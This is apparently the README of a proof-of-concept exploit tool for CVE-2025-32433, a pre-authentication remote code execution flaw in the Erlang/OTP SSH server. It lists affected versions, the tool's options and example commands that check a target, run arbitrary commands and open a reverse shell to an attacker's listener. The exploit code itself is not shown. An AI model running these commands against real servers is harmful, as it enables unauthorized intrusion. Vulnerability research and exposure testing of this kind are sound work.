CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Description

The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication.

Readme

# CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication.

## Description

A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This could lead to compromise of said hosts, allowing for unauthorized access to and manipulation of sensitive data by third parties, or denial-of-service attacks.

## Affected Versions
    OTP-27.3.2 and earlier
    OTP-26.2.5.10 and earlier
    OTP-25.3.2.19 and earlier
    
## Features
- Vulnerability Check: Determine if a target is vulnerable to CVE-2025-32433.
- Exploit Execution: Execute arbitrary commands.
- Reverse Shell: Initiate a bash-based reverse shell.

    
## Usage

    python cve-2025-32433.py <host> [options]

Options:

    -p PORT, --port PORT: SSH port (default: 22)
    
    -t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)

    -c COMMAND, --command COMMAND: Custom command to execute

    --check: Check if the target is vulnerable
    
    --shell: Launch a reverse shell
    
    --lhost LHOST: Attacker's IP for reverse shell
    
    --lport LPORT: Attacker's port for reverse shell (default: 4444)

## Examples:

### Check vulnerability:
    python cve-2025-32433.py 127.0.0.1 --check

### Execute a command:
    python cve-2025-32433.py 127.0.0.1 -c 'ls -la'

### Initiate a reverse shell:
    python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
## References
  
  [GitHub Advisory](https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2)
  
  [NVD CVE-2025-32433](https://nvd.nist.gov/vuln/detail/CVE-2025-32433)
  
  [Platform Security](https://platformsecurity.com/blog/CVE-2025-32433-poc)

File Snapshot

Remarks